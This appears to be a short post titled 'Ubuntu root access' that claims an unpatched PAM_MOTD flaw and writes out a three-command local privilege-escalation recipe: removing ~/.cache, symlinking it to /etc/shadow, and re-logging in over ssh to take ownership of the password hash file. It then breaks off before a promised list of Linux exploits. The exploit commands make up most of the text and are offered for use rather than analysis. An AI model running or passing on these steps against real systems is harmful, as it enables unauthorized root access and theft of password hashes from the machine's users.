Ubuntu root access

The PAM_MOTD exploit for Ubuntu is still not patched…

rm -rf ~/.cache;
ln -s /etc/shadow ~/.cache;
ssh localhost (trigger pam_motd by re-logging in and you’ll own /etc/shadow)


In a recent thread is was suggested that Linux was as vulnerable as Windows is and as proof a list of exploits were given that were published on almost the same day as the discussion.    Here is the list that was given:
